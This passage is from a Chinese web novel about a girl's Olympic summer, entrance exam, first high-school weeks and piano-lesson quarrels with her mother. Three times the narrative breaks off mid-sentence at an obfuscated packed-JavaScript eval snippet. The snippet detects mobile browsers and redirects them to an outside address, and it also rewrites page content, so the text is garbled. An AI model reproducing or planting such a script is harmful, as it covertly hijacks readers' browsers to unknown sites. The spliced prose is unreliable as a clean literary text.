陈敬涛耳提面命地告诫余希柠,初中阶段的重要性,不要把心思花在学习以外的事情上,否则成绩会下滑得很厉害,到时候影响中考。 余希柠连连点头,只觉得肩上千斤重,仿佛昨日才应付完小升初的考试,现在又要面临中考了,什么时候才能结束这种日子啊…… 六月,陈梓钰参加高考,月底成绩公布,超一本线二十分。陈敬涛和王君激动得不行,第二天就大摆宴席庆祝陈梓钰考上重本。 饭桌上陈敬涛还特地点余希柠的名字,让她接一接这份好运气,将来中考加油。 23. 中考 2008年8月8日,晚上八点,随着29个脚印从云端踏来,北京奥运会开幕。当晚,所有人家里电视都锁定了CCTV-1,每一声赞叹和激动都能得到窗户外传来的欢呼共鸣。 “姚明!郭晶晶!还有刘翔!” 中国队进场,屏幕里每给一个选手特写镜头,余希柠都能喊出她的名字。 陈慧柔磕着瓜子笑道:“你什么时候对体育赛事都这么关注了?” “这两年报纸上好几个版面都有赛事报道,电视里也有,铺天盖地都是宣传北京奥运会的。04年雅典奥运会夺冠的刘翔,都是写进作文里的素材,四年磨一剑,我现在就只想看110米栏的决赛。” 余希柠顺带背了几句和刘翔有关的广告语,足见平日里没少关注。 8月18日上午,余希柠调好了闹钟就等十点坐在电视机前看比赛,余序洲换好衣服让她一块去爷爷奶奶家吃饭。 “今天?我要看比赛,今天110米栏小组赛,刘翔出场。” “去你爷爷家看不是一样?人多还热闹。” 余希柠一听,有道理:“行,那我们快点,不能错过了。” 余光亮家住在五楼,没电梯,余希柠一下摩托车就往楼上跑,一口气跑到五楼,推开门喊了声:“爷爷,奶奶,我来了。” 客厅里除了余光亮夫妇,还有余序南、余稚乔,电视机里是体育频道正在直播小组赛现场,介绍比赛规则和2004年刘翔破的记录。 “还好没错过。” 余希柠松了口气,搬把塑料凳坐在电视机前。 “就你一个人过来吗?” 余光亮则看向门口,问她。 “我爸在后面呢。” 话音刚落,电视机里就传来观众的掌声和欢呼声,解说的声音都往上提了一个音调,刘翔进场了,他站在自己的跑道上热身,表情看上去有些凝重。 “怎么样?开始了吗?” 余序洲进门第一句话就问。 余稚乔给他腾了个位置:“没呢,刚进场,这看不看都没所谓,小组赛而已,肯定能进啊。” 余光亮持相同意见:“我也觉得,看决赛就行。” “要开始了!” 余希柠话音刚落,发令枪响,不到两秒所有人停了下来,陆陆续续往回走。 “这是有人抢跑了?” 余序洲猜测,镜头下一秒就给到了刘翔,只见他一脸痛苦,单腿跳了几下后低下头慢慢往回走。 余希柠预感不妙:“他不会是受伤了吧?” 余光亮扶了下老花镜凑近了观察:“没回起跑线,走出去了,这是什么意思?怎么退场了?” 余序洲:“啥意思啊……” 不止电视机前的人看不懂什么情况,就连现场都安静下来了,解说也在等消息,很快广播公布—— 刘翔因为腿伤,正式退出2008年奥运会比赛。 “哈?不是吧!” 余希柠愣住了,她等了这么久,结果居然就退赛了? 家门口举办的奥运会还占着主场优势,所有人都以为刘翔拿金牌是十拿九稳的事情。余希柠把凳子搬回到茶几后坐着,屏幕里一闪而过刘翔无奈的表情,比赛继续,解说仿佛也泄了气般,只是机械播报赛况。 客厅里的气氛微变,一人一张嘴评价着这个退赛的事情。余希柠有些听不下去,没多久就催着余序洲回家。 回家路上,余希柠看到大街小巷贴的广告宣传单,自04年夺冠后,刘翔就成了热门代言人,找他代言的产品多到数不清,随处可见。 “做最好的自己,我能。” 余希柠随口就能说出一句广告词,她往前倾身,主动跟余序洲讨论关于刘翔退赛的看法。 “方才在爷爷家,大伯跟姑姑一句接着一句,我都没听见爸爸你发表看法。你是不是也认为刘翔不应该退赛?” 余序洲沉吟片刻:“毕竟是北京奥运会,他就算是跑不赢也应该坚持比完赛吧?起码不是选择直接退出。十三亿中国人都在等着他,那个场馆里估计一半以上的观众都是为了他去的。” 余希柠蹙眉:“可他明显受伤了啊,一瘸一拐回到起跑线的。难道就因为拿过金牌,这一次也必须拿了才能证明自己?” “你之前不是经常看报纸吗?记者采访的时候,教练都说他训练效果出色,精神面貌良好,非常有信心拿下金牌。”余序洲偏头看了眼余希柠,“就像你姑姑说的,他拿了那么多代言,是要多付出一些,为国人争光的。咬咬牙冲一次,也好过比都没有就退赛。” 余希柠:“我听明白了,大家从来都只关注成绩和最后结果,其他的,也不是很重要。” 如果那时的刘翔真的不顾一切,拼死一搏,会不会就像飞蛾扑火一样燃尽最后一丝意志力,未必能夺冠,但起码能赢得国人乃至世界的尊重和理解。 可那也可能会成为他最后一次比赛。 八月在讨论奥运金牌数、奖牌数、运动员事迹中悄然过去,陈梓钰拿到了华南师范大学的录取通知书,陈敬涛夫妇亲自送她去上大学。 大哥大嫂回来之前,陈慧柔一家就和陈镇东、陈梓航一块吃饭,晚上才回自己家。 操心完陈梓钰,陈敬涛夫妇又开始抓陈梓航的学习,九月开学他就上六年级了。陈梓航的成绩没有两个姐姐那么好,数学英语都不行,陈敬涛给他找了名师辅导,成绩照旧提不上来。 王君也没了法子,她就这一个儿子,是拼了命生下来的,平日里就是舍不得打骂。算了,只要他能考到择校线就行,王君去寺庙拜佛,又将心愿退低了些档次。 小升初成绩下来,陈梓航没考上实中,但分数够择校线,只要交高价就能上实中。 家里就这一个男孙,堆钱也会把他给捧上去。 从陈梓钰那传过来的升学接力棒就这么来到了余希柠身上,感觉这两年,时间眨眼就过。初三这年,余希柠过得寡淡无趣,每个周末都安排满了补课,不止是她,林烜和宋乔也有课外辅导。 提分、卷子、排名成了那段时间里他们唯一会聊的共同话题 七月底,中考成绩公布,这天一大早陈慧柔就出门买菜,紧接着把全部家务都给做了,不让自己闲下来胡乱猜想。 反观余希柠,考完试就跟同学组织去野炊,一听说陈梓钰放假了,立马买票去广州找她玩,完全没有为分数操过心。 “你问了没有,成绩是不是下午四点放榜?” 期末考结束,余序洲在学校里改卷,中午回家吃饭时陈慧柔就问他,有没有办法先看到成绩。 余序洲喝了口汤,抿嘴:“早看晚看一个样,考都考了。” 陈慧柔一脸苦色:“我这都提心吊胆半个月了,昨晚都睡不着。偏偏希柠像你,也是个没心没肺的,你看这几天,玩得都没形了。” “考完试该放松就放松,至于成绩,急了也没用,木已成舟。吃完饭我来洗碗,你去休息会,下午成绩查到了就给我电话。” 余序洲主动揽下洗碗的活,为的就是能让陈慧柔去好好休息补觉,结果她刚出餐厅就看到余希柠在看电视,忍不下去哒哒哒上前,直接把电视关了:“都什么时候了还看电视,回屋去睡觉,下午早点起来学习。” 陈慧柔这突如其来的怒气让余希柠一脸懵:“我学什么啊?我都考完试了。” “梓钰不是把她高中课本都给你了吗,看看,提前预习!” 余希柠无奈道:“妈你又来了,我们不都说好了这个假期要彻底放松的吗?你老这么逼着我干什么。” 方才表情还算平静的陈慧柔,一听到“逼”这个字,立马激动起来:“我哪里逼着你了,你要旅游我也让你去了,要和同学出门玩我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071800|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没拦着,你说要放松,我不让你放松了吗?但全松懈下来也不对,高中才是至关重要的一环,我好不容易才把你这皮给拉紧,决不能全松了!” “莫名其妙……” 拗不过陈慧柔,余希柠也不想跟她吵,放下遥控器就回房间。没过多久,余序洲来敲门,客厅的动静他也都听到了,帮着陈慧柔解释。 “你妈这个阶段容易焦虑,有点事情就放在心上焦躁不安,你别跟她对着来知道吗?” 余希柠侧躺在床上,背对着余序洲,嗯了一声权当应付。 关门前,余序洲补充了一句:“下午查完成绩后就给我打电话,好坏都要打。” 余希柠:“知啦。” 下午,查分时间一到,陈慧柔就催着余希柠打电话,自己则忐忑不安地坐在一旁,手里拿着笔准备记分数,笔杆子都捏出汗来了。 起初拨了两次都占线拨不通,余希柠回头看陈慧柔:“要不等等?” “是不是可以发短信查?我给你手机你发一下。” 陈慧柔把自己的小灵通拿给余希柠,叮嘱她数字千万不要按错了,准考证号也核实一下再发。短信发完好半天了也没反应,这时有电话拨了进来,是陈敬涛来问余希柠成绩的,一问还不知道成绩,就要走了准考证号帮着一块查。 “怎么回事啊,查个中考成绩怎么比高考放榜还难?” 陈慧柔话音刚落,手机响了,有短信进来。 “来了来了!分出来了!” 陈慧柔在纸上写下分数,嘴里一个数一个数地往外蹦,给余希柠都听紧张了:“总分532……” 她看向余希柠:“录取分数线是多少?” 余希柠愣了一下,方才还记在脑海里的数这会儿忽然印象不深了,她小心翼翼道:“535?” “多少?535?就差三分?” 陈慧柔跌回到椅子上,扶着额头只觉得阵阵疼,差多少不好偏偏差三分,临门一脚啊!选择题多对一道就考上了!电话又响了,她没力气接,挥手示意余希柠去听。 “考上了啊希柠!532!查到了!” 陈敬涛把分数又报了一遍,在电话里头兴奋得不行,一顿夸:“你这考得可比那些多几十分的厉害多了,不愧是你。” 余希柠都听糊涂了:“舅舅,录取分数线不是535吗?我没考上啊……” “谁跟你说的535,是531,你超了一分,考上了!” “啊?” 余希柠表情瞬间变了,赶忙把正确的分数线告诉给陈慧柔,原本还头疼着心揪着,乍一听考上了,陈慧柔的手都还在颤抖。 “真是531?” 陈慧柔不敢确定,这一上一下的刺激哪里受得了。 “舅舅的电话,你自己问。” 确认真的压线考上二中后,陈慧柔抱着余希柠喜极而泣,焦虑、不安、忐忑、兴奋,所有情绪瞬间涌了上来。 “办桌!我们家也要办桌庆祝!” 上次吃升学宴还是陈梓钰考上重本的时候,这次,余希柠也挤进被长辈夸奖的队伍。 陈慧柔至今想起坐在电话前记错分数线那一幕,心跳还会加速,小半杯酒下去,抚着胸口向众人描绘当时场景—— “你们是不知道,她和我说分数线是535时,我有多难受。脑海里全是这三年一些很细碎的画面,监督她学习、带她去补习班、因为成绩赶不上而焦虑着急……” 余序洲坐在一旁轻轻拍抚陈慧柔,深知她的不容易。 “哎哟这次我真的好好拜拜,佛祖保佑。” 陈梓钰凑到余希柠耳边小声说:“大姑今天是真开心。” 余希柠吃着碗里的饭,看着父母,他们越是激动,她越怀疑自己。她扭头看向陈梓钰,说出自己的想法:“好像就只有分数能让他们开心,别的都不行。” 24. 开学 九月开学,余希柠成了一名高中生,先前和陈梓钰言之凿凿,说要把高中生活过得绚烂无比,结果开学不到一周,整个人蔫了一半。 余希柠家就住在教师村,往日里进进出出喊叔叔阿姨的人,如今都要称呼为老师。 一周下来,所有科目老师悉数登场,除了化学和物理两个科目的老师不认识以外,其余的都是熟面孔! 心如死灰的余希柠趴在桌面上,恨不得把头埋进抽屉里,这样就能不被讲台上的老师认出来了。 如果非要安慰自己说个好消息,那就是余序洲不教高一,余希柠都不敢想,如果自己老爸站在讲台上上课,她还能不能听得进去。 “放学了还不走?” 一个篮球轻砸到桌面上,挡住了余希柠看窗外的风景,她略微抬眼,对上林烜视线。 “有事?” “值日生都要值日了你还在这挡着,不急着回家的话,看我打球?” 林烜也考上了二中,就在隔壁班,下课经过看见余希柠还在座位上,就跑进来打招呼。他个子窜到了一米八三,如今坐在教室最后一排。 用林烜自己的话说,就有点像看垃圾桶的。 “不去,没兴趣。” 余希柠直起身,慢吞吞地把课本收进书包里,从前放学时都有朋友作伴一块骑车回家,现在出校门左拐就到小区,五分钟不到。 早回就意味着要早学习,她这才尽量拖晚些。 和林烜一块出教室,下楼时总能注意到路过的学生会往他们这看过来,余希柠警惕地拉开一个身位距离。 “我不去看你打球,你快走吧,别给我惹麻烦。” 林烜颠着手里的球,一听这话,眉头蹙起:“什么意思?我什么都没干怎么就惹麻烦了。” 这事说来话长,还得从初中时候说起。 余希柠因为跟林烜同桌,两人玩得很来,放学也经常一起走,但就是纯友谊。结果好几次追逐打闹被陈敬涛看见,传到陈慧柔耳朵里就变成了早恋。 有次陈慧柔趁余希柠不在,翻她书包和房间,企图找到一丝和林烜早恋有关的证据,结果证据没翻到,倒是搜出了余希柠交笔友的信件。 初中那会流行交笔友,收集国内各地不同地方的邮戳明信片,越偏远的越珍贵,余希柠也不例外。 她给《中学生博览》投了篇稿子顺带留下了一句话交友信息,稿子没过,交友信息倒是登上了。 起初她都不知道这事,还是宋乔拿着杂志来问她,这地址是你家啊,这个该不会是你吧? 梦幻歆,余希柠那土到掉渣的□□名字,一开始取的时候还挺流行这种带“梦幻”两字的名,没过多久就过时了。 交友信息登上后,很快就有人给她写信,余希柠由此交上了几个还聊得来的笔友。这事本是偷偷进行,余希柠用陈镇东给的零花钱偷偷买的信纸和邮票,收到的信都放进饼干盒里,谁知陈慧柔会翻她的书柜。 那天余希柠和陈慧柔爆发了激烈的争吵,余希柠觉得陈慧柔侵犯了她的隐私,趁她不在搜书包和柜子的行为很不尊重人。 陈慧柔则觉得余希柠心思没有放到学习上,是导致成绩下滑提不上去的主要原因。 信件被没收,余希柠气得拿起自行车车钥匙就出门,绕着黄冈河足足骑了两圈才渐渐冷静下来。 余希柠后来才从余序洲那得知,是舅舅陈敬涛和陈慧柔说,她在学校里和男同学关系太过亲密,怕早恋影响学习,陈慧柔这才关心则乱。 初中发生过的事情历历在目,如今二中更是在余序洲眼皮子底下,校道上随时经过的老师都可能是小区里的老邻居,余希柠自然更加谨慎。 “没什么,下次再说,我回家了。” 余希柠逃也似的快步离开,徒留林烜怔愣在原地:“莫名其妙……” 从教师村门口到家楼下要经过一条很窄的路,勉强能过一辆小轿车那种。余希柠刚从校门口出来,就见到路口有道熟悉的身影,是刚下班的余序洲。 从前上初中时经常看见大舅陈敬涛,如今换成自己老爸,余希柠慢吞吞跟在后面,没有上前一块回家的意思。 “希柠,怎么这么晚才回家,周四下午不是才两节课吗?” 身后传来一道熟悉的声音,余希柠回头一看,下意识想像从前一样喊一声许叔叔,到了嘴边慌忙改口:“老师好。” 许明姚是她这学期的历史老师兼班主任,不止历史这一科,语文、数学和物理这三个科目的老师也住在教师村,从前就是抬头不见低头见的邻居。 “是两节课,我在教室里抄了会笔记才回来的。” 许明姚气质儒雅,走起路来步伐很慢,余希柠很像快步超过他回家,但又觉得没礼貌,只能是攥紧了书包肩带,放慢脚步。 最好是让许明姚先走。 “加油,以后有什么不懂的随时来问。” 正合余希柠心意,赶忙应声:“好的老师。” 许明姚点点头,提步往前走。 回到家,陈慧柔张罗着洗手吃饭,顺便问余希柠:“所有科目老师都见过了吧?有哪些之前就认识啊?” 余希柠擦干手帮忙盛饭,把每个科目的老师都说了一遍,最后才说英语老师。余序洲正好从书房出来,听到名字,补充道—— “林老师他儿子和你一样,也是今年考上二中,在十四班。叫林振贤,你认识吗?” 余希柠摇头。 “今年你们这届有十个教师子女,刚好五个是考上的,五个是择校的,五五开。” 余序洲一坐下就开始讲这些八卦,余希柠都不是特别感兴趣,反正一个都不认识。她扒拉着碗里的饭,左耳进右耳出,等余序洲讲完了,她都没记清到底是哪位老师的孩子在重点班。 毕竟,这和她有什么关系? 晚上,陈慧柔进余希柠房间把叠好的衣服放进衣柜里,一边问道:“一周的课结束了,感觉怎么样?” “还都没怎么上过,能有什么感觉。” 要复习的内容都不多,作业一下就做完了,余希柠拿出白天在社团招新那要来的报名表,准备填个摄影社,被陈慧柔看到了。 “社团?你还要参加学校社团?学习都挤不出时间,你参加这些做什么?” “怎么挤不出,有时候下午只有两节课就可以参加啊,林屿沉他们学校初中就有社团活动了,我高中才有不得珍惜?” 余希柠早就想好了,她想报一个社团充实一下课外时间,多交些朋友培养一下兴趣。 谁知陈慧柔根本不理解:“别人都是争分夺秒学习,生怕被人落下,你倒好,还参加社团。别以为考上二中就能松懈下来啊,这可是人生最关键的三年。” “你又来了。” 这些话余希柠都听出茧来了,她向来不是听话的主,这会儿也是,推着陈慧柔出房门,把门关上前还不忘说:“我的人生,从来都不是只有学习和成绩的。” 啪嗒一声,还不忘把门反锁上。 客厅里,余序洲看见这一幕,不用猜就知道发生了什么,招手示意陈慧柔过来坐下。 “你又跟她说什么了?怎么又把门关上了?” 陈慧柔抽过桌上的扇子拼命扇风,感觉只要提到学习,就不能松一口气。 “她说要去申请社团,还好意思拿林屿沉出来举例子,说金中初中部就有社团活动了。真敢说,金中是什么地方,林屿沉是谁,她要是能像林屿沉那么自觉自律,成绩稳定,我才不管她。” 陈慧柔正在更年期,情绪波动大,平日里余序洲都尽量躲着,有什么事都由着她来。但多数时候会激动,还是因为余希柠。 “她这是觉得自己考上了二中,任务就完成了?劲就松了?也不看看自己才过分数线一分,还是班里中下游的水平。不抓紧学习反倒还去参加社团,真是……” 陈慧柔越想越气,起身就想折回去训余希柠,被余序洲拉住。 “没那么夸张,二中社团活动也不多,不会占很长时间,就跟男生下课去操场打篮球一样,权当课后放松调剂了。这才刚开始,我们再观察一段时间,真要觉得影响学习了,再阻止也来得及。” 余序洲在教育孩子这件事上一贯没有陈慧柔那么严,外人都说他们家一个唱红脸一个唱白脸,事实也的确如此。 陈慧柔心中又气又郁闷:“不管了,到了二中,你要再不管严一些,丢脸的只能是你自己。” 周末,余希柠陪着余序洲去爷爷奶奶家,打从记事起,陈慧柔就很少和他们一块来,除非是除夕夜大家庭聚餐才会出现。 赵婷从来不会主动问起陈慧柔的情况,倒是余光亮,偶尔会问余希柠,你妈妈是不是在家忙? 余希柠基本都回答是。 后来她还特地问过陈慧柔,为什么去外公那儿那么频繁,反倒从不和他们来爷爷奶奶家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071801|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈慧柔答道:“没时间,妈妈有一大堆家务要做,你和你爸去就行。你爷爷奶奶不会在乎这些。” 好像也是,像今天来,余光亮就什么都没问了。 余希柠坐在沙发上,跟着余光亮一块看电视,余序洲坐在另一边负责冲茶,经常一壶茶闷半天才冲出来,茶色都是深褐色的,苦得余希柠直皱眉。 余光亮也跟着嫌弃:“你这茶冲的,茶色真难看,放着我来冲吧,怎么连冲茶都不会。” 余序洲表情尴尬,还不忘解释:“我是刚才顾着看电视,忘了冲出来。” “算了,我来,别浪费我这儿的好茶。” 在余光亮的催促下,余序洲让出了茶盏,他朝着余希柠挤眉弄眼,余希柠没懂是什么意思,许是在缓解尴尬吧。客厅里三个人坐着,一个能聊的话题都没,还好电视开得够大声才不至于太安静。 约莫过了四十分钟,刚好一集电视剧结束,余序洲看了眼墙上的挂钟,站起身招呼余希柠:“走吧,我们先回家。” 余希柠敲门进去和赵婷打招呼:“奶奶,我们先回家了。” 来了这么久,赵婷都没出来过,一直待在房间里练习唱诗歌,因为明天一早要去教堂做礼拜。听见余希柠说话,她也只是些微抬眼:“哦好,路上小心。” 余光亮站在门口相送,余希柠穿好鞋子,人还没走下楼梯,身后大门就已经砰地关上。她双手揣在兜里,追上余序洲,装作不经意地问:“爸,你自己来爷爷家也是这样吗?” “什么样?” “喝茶看电视,也没什么话聊,到点就走。” 余希柠也不常来,一周有个两次都算多的,但余序洲不是,他每天吃完晚饭都会散步到余光亮家,喝泡茶再走。 “要聊什么,来你爷爷奶奶这主要就是陪陪他们,顺便看家里有什么需要帮忙做的,他俩年纪大了,有时候手脚不太灵活,有些事就得留着年轻人来了才能做。” 前几年余序南和余稚乔都外出打工了,余序南是去深圳,干老本行,余稚乔则是去澄海一个纺织厂,效益也还行,时常会带一些外面流行的针织款式回来给两个嫂子穿。 家里就只剩下余序洲在身边,又不住一起。 “可我总觉得爷爷奶奶对你,好像不亲一样,爸,你该不会是抱养的吧?” 余序洲回头看了她一眼,抬手在她脑门上弹了一下:“胡说八道什么,这些话回去可不能在你妈面前说。” 余希柠点头:“我知道,我妈她也不爱听爷爷奶奶的事。” 家里,陈慧柔正在拖地,无端端打了个喷嚏,厨房锅里的水煮开了,她又赶忙放下手里的拖把去看。 是给余希柠煮的铁皮石斛水,见时间差不多了,陈慧柔关掉火盛了出来放在窗边散热,免得回来了让她喝,又嗷嗷叫说太烫了。 “妈,我们回来了。” 刚倒掉一桶脏水就听见余希柠的声音,陈慧柔赶忙探出头来吩咐:“我刚拖完地,你们走路小心点别摔了。” “怎么又拖地,昨天不是才拖吗?” 余序洲一听就忍不住唠叨,见餐桌上放着盘刚做好的包子,还没上锅蒸:“就这会功夫还做了包子?你能不能休息会。” 陈慧柔嫌他碍事:“让开,我把活做了先,还剩个书房没拖。” “余希柠,你上学的时候老师没教帮家长分担家务吗?以后能不能帮你妈扫地拖地了?我看隔壁都是小孩家去倒垃圾的,你这一样活都没干过。” 余序洲朝里屋提高了声量,余希柠换完衣服出来,反问了句:“那您怎么不分担呢,您不也是家里一员吗?” “行了你别在这喊了,这些活不用她来做,她首要任务是学习,我做得来。” 陈慧柔从不让余希柠做家务,反观陈敬涛家,从小碗就是陈梓钰洗的,后来陈梓航上小学,就轮到他来洗。 洗一次碗奖励两块钱,拖地扫地一次五块钱,他用这样的方式赚取零花。余希柠也羡慕过,回家就和陈慧柔商量,结果刚一开口就被拒绝了。 “你要买什么就跟我说,我给你钱,有做家务的时间多去背一篇课文也好。” 陈慧柔就是生病了,洗不了碗,也会催余序洲去洗,坚决不让余希柠碰家务。因为她不希望余希柠像自己小时候那样,要干粗活累活,一双手粗糙又臃肿。 都说手是女孩第二张脸,余希柠的手是用来弹琴的,而不是做家务的。 25. 钢琴 说起弹琴,陈慧柔把拖把拧干杵在面前,瞥了眼墙上的时钟,正好到该练琴的时间了。 “希柠,我前两天帮你约了个新的钢琴老师,明天下午就带你去试课,你先把练习曲和那首梦中的婚礼再练练,到时候可以给老师看。” 突然听到这个消息,余希柠先关心的还是价格:“已经找到老师了?贵不贵啊。” “贵不贵不是你该关心的,你只要把琴练好就行。” 听说老师找好了,余序洲探出头来,他和余希柠不一样,关心找的谁当老师,陈慧柔放下原本挽起的袖子回头看他。 “还能是谁,小陈老师的姐姐啊,镇上这么小的地方,会教钢琴的老师本来就少。先前托我哥去问黄萍老师还能不能收希柠,她当场就拒绝了,说实在安排不下,我看全是借口。” 为余希柠学琴这事儿,陈慧柔不知道操了多少心,前前后后礼也送了不少,可人家就是不接受。 余希柠一听到黄萍的名字,鼓着腮帮,一脸不情愿:“不想找黄萍,又贵又凶。” 一节课顶别人三节课的价格,教也不见得有多细心,动不动就大声说话,余希柠最受不了这种性子的。 陈慧柔眉头又开始收紧:“严师出高徒,都说入门的老师选好,后面路就好走,你倒好,练到一半还能被赶出来,我真是……都不知道说什么好。” “我们俩八字不和,我巴不得她赶我走呢,每次你给她孩子送蛋糕送吃的,她就态度对我好些,没送东西了就大声说话,有这么势利眼的吗。” 余希柠对黄萍就是没有好印象,任凭别人怎么说她能力高。 “你一直就是这样,从来不看自己错在哪,总是有借口甩锅到别人身上。黄萍老师都说了,布置给你的曲子,一周了都练得磕磕巴巴,别人一个月能练五首新曲,就你,教的时候谱子都更正过,一周回来又错。在你身上都看不到成绩反馈,谁还愿意教。” “那就不学了啊,我都不是学琴的料,是你非逼着我学。” 话一说完,余希柠扭头就回房间,砰一声把门关上。 这一幕把余序洲都看愣了,快走两步出来,扫了眼墙上挂钟:“你们是怎么做到进门不到十五分钟就吵架的?” “问你女儿。” 陈慧柔只觉得心力交瘁,手里的活还没干完,她提着拖把往屋里走,想起窗边还放了碗铁皮石斛水,又催着余序洲给送进房间。 “别晚了太凉,就没效果了。” “你说说你,一天到晚为她付出那么多,怎么就不能好好说话,一碰到就吵。” 余序洲理解不了,刚结婚那会陈慧柔性子也不是这样啊,更年期真有那么大的影响力? 陈慧柔用力拖着地,似乎要把全部戾气都发泄出来,但仔细看,她紧抿的嘴唇都在抖,分明就是在控制情绪。 “是我不想好好说话吗?你自己判断一下这些事,是她对还是错。从小到大,说要学舞,我就带她去学,过不了多久就说要学琴,这台钢琴我们省吃俭用了多长时间,你不是不知道。” 2005年一台珠江钢琴价格不菲,从汕头运到饶平再搬上楼,小区里的人全探出头来围观。 不知道的以为陈慧柔和余序洲这几年是开了补习班偷偷赚钱了,还是炒股有收益,实际上都是陈慧柔持家时一点点省下来的。 学钢琴不比学跳舞,一节课就要四百块,一个月下来一千多,陈慧柔自己的工资才三千多。 但只要是为了余希柠好,她都愿意付出。 学琴可以陶冶情操,提升气质,掌握一门特长技艺,往后饿不死。这是陈慧柔让余希柠学琴的初衷。 黄萍是镇上有名的音乐教师,科班出身,带出了不少钢琴过十级的学生,还有考上音乐学院的。 起初陈慧柔是托陈敬涛去找的黄萍,她答应收余希柠的时候,陈慧柔就特别激动,总觉得以后家里指不定也能出一个小钢琴家。 黄萍家有个儿子,和余希柠差不多大,陈慧柔每周五下班会买两个小蛋糕,一个给余希柠,一个就等着第二天带给黄萍儿子。 在礼数这方面,陈慧柔自认为做得很周到,基本没有空手上门的时候,她不图别的,就希望黄萍能好好教余希柠。 谁知,才上了两年不到,余希柠就被老师辞退了,理由是不用心血,屡教不改,让家长另请高明。 陈慧柔听到这话时又气又臊,感觉就像体面人突然挨了两巴掌一样,无措又心慌。后来不管她怎么争取,还让陈敬涛帮忙说清,黄萍都不肯再收余希柠。 有半学期,余希柠都是自己在家练琴,没有老师教,就自己弹一些练习曲,没过多久,黄沐卿给她介绍了小陈老师。 对方是个琴痴,上门授课大部分时间都是自己在弹,在炫技,余序洲是听得津津有味,只有陈慧柔反应过来,这哪里是在教学生,分明是自己在练手,最重要的是小陈老师没有带学生去市区考级的资格。 思虑再三,陈慧柔决定在余希柠中考后重新找一个靠谱的老师学琴。 “我为了她,四处问人,打听了解,好不容易有了这个试课的机会,你看看她那样,说不学就不学了。还说什么我非逼着她学,你自己听听看这话。” 陈慧柔怒极反笑,拿起拖把杆怼了余序洲一下:“她这脾气和性子,是不是遗传了你的?” “我哪里是这种人!我做事很有毅力,很懂坚持的好吧!” 生怕陈慧柔真把锅赖在自己身上,余序洲主动表示:“学琴的事我去和她谈,交给我。” “哎!把铁皮石斛水拿进去!” 陈慧柔再生气都没忘了这档子事。 余序洲敲门进去时,余希柠刚填完社团招新的表格,还没来得及放进书包里。余序洲只当没看见,把水放到桌上。 “你妈给你煮的,你前些天不是老咳嗽?” 余希柠:“嗯。” “有时间聊聊?” 见余希柠没拒绝,余序洲拉了把椅子坐在窗边,从这个角度望出去正好能看见学校角门上垂下来的绿枝条。 “当初你妈要买钢琴的时候,我是拒绝的,这特长烧钱得很,我们就是普通的职工家庭,不像外面大城市那些父母,投资完全都不用眨眼睛犹豫半秒钟。我们家,每一分支出都是要精打细算的,我知道你画小人像画得不错,还给过她建议,如果非要培养你一门特长,是不是画画也行,你猜你妈怎么说?” 余希柠脚尖抵着书桌脚,像小时候一样,一下一下晃着椅子,听余序洲说这话时,想象着陈慧柔的表情。 “我妈估计觉得画画没什么特别的吧,也很难培养。” “错,她说,是你自己说想学琴的,一切得以你为主,你既然有兴趣,她就一定会努力去满足。” “我说的吗?” 余希柠自己都快记不清了,模模糊糊有点印象,但也说不清那会自己是不是真的懂弹琴需要付出多少。 “因为你的一句话,我和你妈省吃俭用攒了多少年才攒到这一架珠江钢琴,外面多少人在议论,但你妈行得端正,她敢于在培养你这件事上下血本。包括为你找老师,她托了多少关系,这个你不清楚吧?” “嗯……”余希柠拨弄着桌上的笔记本,“黄萍老师那会,我确实有做错做得不对的地方,我也想过认真学,只是我不喜欢妈妈事事安排得那么紧迫的风格。好像我就是那八音盒上的小人,一刻都不能停下来,一停就得马上拧紧发条。” “你的意思是你想自己安排时间?也行啊,这没问题,你和她好好说不就行了,动不动就对冲,这态度可不对。” 余序洲也不太会安慰人,只知道该说的话已经说了,也了解了余希柠的心思就达成目的:“行了,往后和你妈说话顺着点,她这段时期情绪不好,你就别逆着来。学习吧,这水记得喝。” 门关上,余希柠端起水杯喝了一小口,黏糊糊的,有些没过滤干净的渣子被她嚼了嚼吞下。落地扇对着她的后背吹,余希柠缓缓闭上眼睛。回想着小时候主动跟陈慧柔要求练琴的场景。 有风浮动,头发轻扬,恍惚间的记忆越来越清晰。 就像余序洲说的,凡是她主动要求的,陈慧柔其实从没反驳过。 次日一早,余希柠主动让陈慧柔带自己去试课,老师对她的表现很满意,答应收下做学生,从下星期六开始上课。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071802|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那年寒假,余希柠顺利过了钢琴四级考试,拿到了人生第一本专业证书。 转眼到了五月,期中考的卷子难度不低,理科是余希柠的薄弱项,考试的时候眉头都皱得紧紧的,除了“解”、“答”这两个字写得最有把握以外,其余的都是蒙的成分比较多。 卷子交上去,宋乔过来叫她一块回家,顺带对了下大题最后的数。 